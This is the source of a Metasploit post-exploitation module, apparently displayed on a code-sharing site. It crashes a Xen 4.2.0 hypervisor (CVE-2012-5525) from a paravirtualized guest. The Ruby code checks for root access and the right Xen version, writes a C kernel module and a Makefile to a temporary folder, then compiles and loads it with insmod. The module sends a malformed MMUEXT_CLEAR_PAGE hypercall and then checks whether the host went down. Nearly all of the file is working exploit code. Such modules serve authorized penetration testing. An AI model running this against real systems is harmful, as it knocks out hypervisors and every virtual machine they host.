CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/dos/xen_420_dos.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Post::Linux::System
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Linux DoS Xen 4.2.0 2012-5525',
16
'Description' => %q{
17
This module causes a hypervisor crash in Xen 4.2.0 when invoked from a
18
paravirtualized VM, including from dom0. Successfully tested on Debian 7
19
3.2.0-4-amd64 with Xen 4.2.0.
20
},
21
'References' => [ ['CVE', '2012-5525'] ],
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Christoph Sendner <christoph.sendner[at]stud-mail.uni-wuerzburg.de>',
25
'Aleksandar Milenkoski <aleksandar.milenkoski[at]uni-wuerzburg.de>'
26
],
27
'Platform' => [ 'linux' ],
28
'Arch' => [ARCH_X64],
29
'SessionTypes' => ['shell']
30
)
31
)
32
33
register_options(
34
[
35
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
36
], self.class
37
)
38
end
39
40
def run
41
# Variables
42
@rand_folder = '/' + Rex::Text.rand_text_alpha(rand(7..11)).to_s
43
@writeable_folder = datastore['WritableDir'].to_s + @rand_folder
44
45
# Testing requirements
46
print_status('Detecting requirements...')
47
return unless requirements_met?
48
49
# Cearting and writing random paths and files
50
vprint_status('Creating random file and folder names')
51
write_files
52
53
# Execute make and insmod
54
do_insmod
55
56
# Testing success of DoS
57
test_success
58
end
59
60
##
61
# Test all requirements:
62
# - root-priviliges
63
# - build-essentials
64
# - xen-enviroment (existing, not running)
65
# - xen-running
66
# - xen-version (DoS only works on specific versions)
67
##
68
69
def requirements_met?
70
unless is_root?
71
print_error('Root access is required')
72
return false
73
end
74
print_good('Detected root privilege')
75
76
unless build_essential?
77
print_error('No build-essential package found')
78
return false
79
end
80
print_good('Detected build-essential')
81
82
unless xen?
83
print_error('Running Xen was not found')
84
return false
85
end
86
print_good('Detected Xen')
87
88
unless xen_running?
89
print_error('Xen is not running')
90
return false
91
end
92
print_good('Detected running Xen')
93
94
unless right_xen_version?
95
print_error('Incorrect Xen version running')
96
return false
97
end
98
print_good('Detected correct Xen version')
99
100
true
101
end
102
103
##
104
# Checks for build essentials
105
# - Required for building a lkm
106
# - checks for gcc/g++, make and linux-headers
107
# - commands sh-conform
108
##
109
110
def build_essential?
111
check_command = 'if [ -s $( which gcc ) ] && '
112
check_command << '[ -s $( which g++ ) ] && '
113
check_command << '[ -s $( which make ) ] && '
114
check_command << '[ "$( dpkg -l | grep linux-headers-$(uname -r) )" != "" ] ;'
115
check_command << 'then echo OK;'
116
check_command << 'fi'
117
118
cmd_exec(check_command).delete("\r") == 'OK'
119
end
120
121
##
122
# Checks for running Xen Hypervisor
123
# - Looks for Xen in lsmod, lscpu, dmesg and /sys/bus
124
# - commands sh-conform
125
##
126
127
def xen?
128
check_command = 'if [ "$( lsmod | grep xen )" != "" ] || '
129
check_command << '[ "$( lscpu | grep Xen )" != "" ] || '
130
check_command << '[ "$( dmesg | grep xen )" != "" ] || '
131
check_command << '[ "$( which xl )" != "" ] ;'
132
check_command << 'then echo OK;'
133
check_command << 'fi'
134
135
cmd_exec(check_command).delete("\r") == 'OK'
136
end
137
138
##
139
# Checks for running Xen
140
# - Host eventually has Xen installed, but not running
141
# - DoS needs a running Xen on Host
142
##
143
144
def xen_running?
145
check_command = 'if [ -f /var/run/xenstored.pid -o -f /var/run/xenstore.pid ] ; then echo OK; fi'
146
147
cmd_exec(check_command).delete("\r") == 'OK'
148
end
149
150
##
151
# Checks for Xen Version
152
# - Most DoS of Xen require a specific version - here: 4.2.0
153
# - commands need running Xen - so execute after test for xen
154
##
155
156
def right_xen_version?
157
cmd_major = "xl info | grep xen_major | grep -o '[0-9]*'"
158
xen_major = cmd_exec(cmd_major).delete("\r")
159
cmd_minor = "xl info | grep xen_minor | grep -o '[0-9]*'"
160
xen_minor = cmd_exec(cmd_minor).delete("\r")
161
cmd_extra = "xl info | grep xen_extra | grep -o '[0-9]*'"
162
xen_extra = cmd_exec(cmd_extra).delete("\r")
163
164
xen_version = xen_major + '.' + xen_minor + '.' + xen_extra
165
166
print_status('Xen Version: ' + xen_version)
167
168
xen_version == '4.2.0'
169
end
170
171
##
172
# Creating and writing files:
173
# - c_file for c-code
174
# - Makefile
175
##
176
177
def write_files
178
@c_name = Rex::Text.rand_text_alpha(rand(7..11)).to_s
179
@c_file = "#{@writeable_folder}/#{@c_name}.c"
180
@make_file = "#{@writeable_folder}/Makefile"
181
182
vprint_status("Creating folder '#{@writeable_folder}'")
183
cmd_exec("mkdir #{@writeable_folder}")
184
185
vprint_status("Writing C code to '#{@c_file}'")
186
write_file(@c_file, c_code)
187
vprint_status("Writing Makefile to '#{@make_file}'")
188
write_file(@make_file, make_code)
189
end
190
191
##
192
# Compiling and execute LKM
193
##
194
195
def do_insmod
196
cmd_exec("cd #{@writeable_folder}")
197
vprint_status('Making module...')
198
cmd_exec('make')
199
vprint_status("Insmod '#{@writeable_folder}/#{@c_name}.ko'")
200
cmd_exec("insmod #{@writeable_folder}/#{@c_name}.ko")
201
end
202
203
##
204
# Test for success via ssh-error exception
205
# - Host down => ssh-error => DoS successful
206
##
207
208
def test_success
209
successful = false
210
begin
211
is_root?
212
rescue RuntimeError => e
213
successful = true if e.message == 'Could not determine UID: ""'
214
raise unless successful
215
ensure
216
if successful
217
print_good('DoS was successful!')
218
else
219
print_error('DoS has failed')
220
end
221
end
222
end
223
224
##
225
# Returns Makefile to compile
226
# - LKMs need a Makefile
227
# - Needs the linux-headers, make and gcc
228
##
229
230
def make_code
231
m = <<~END
232
obj-m := #{@c_name}.o
233
234
EXTRA_CFLAGS+= -save-temps
235
236
all:
237
\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
238
239
clean:
240
\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
241
END
242
m
243
end
244
245
##
246
# Returns the c-Code to compile
247
# - Contains the essential bug to crash Xen
248
# - Here: Force a segmentation fault via hypercall, which crashes the host
249
##
250
251
def c_code
252
c = <<~END
253
#undef __KERNEL__
254
#define __KERNEL__
255
#undef MODULE
256
#define MODULE
257
#include <linux/module.h>
258
#include <asm/xen/hypercall.h>
259
MODULE_LICENSE("GPL");
260
static int __init lkm_init(void)
261
{
262
struct mmuext_op op;
263
int status;
264
op.cmd = 16; /*MMUEXT_CLEAR_PAGE*/
265
op.arg1.mfn = 0x0EEEEE; /*A large enough MFN*/
266
HYPERVISOR_mmuext_op(&op, 1, &status, DOMID_SELF);
267
return 0;
268
}
269
static void __exit lkm_cleanup(void)
270
{
271
}
272
module_init(lkm_init);
273
module_exit(lkm_cleanup);
274
END
275
c
276
end
277
end
278
279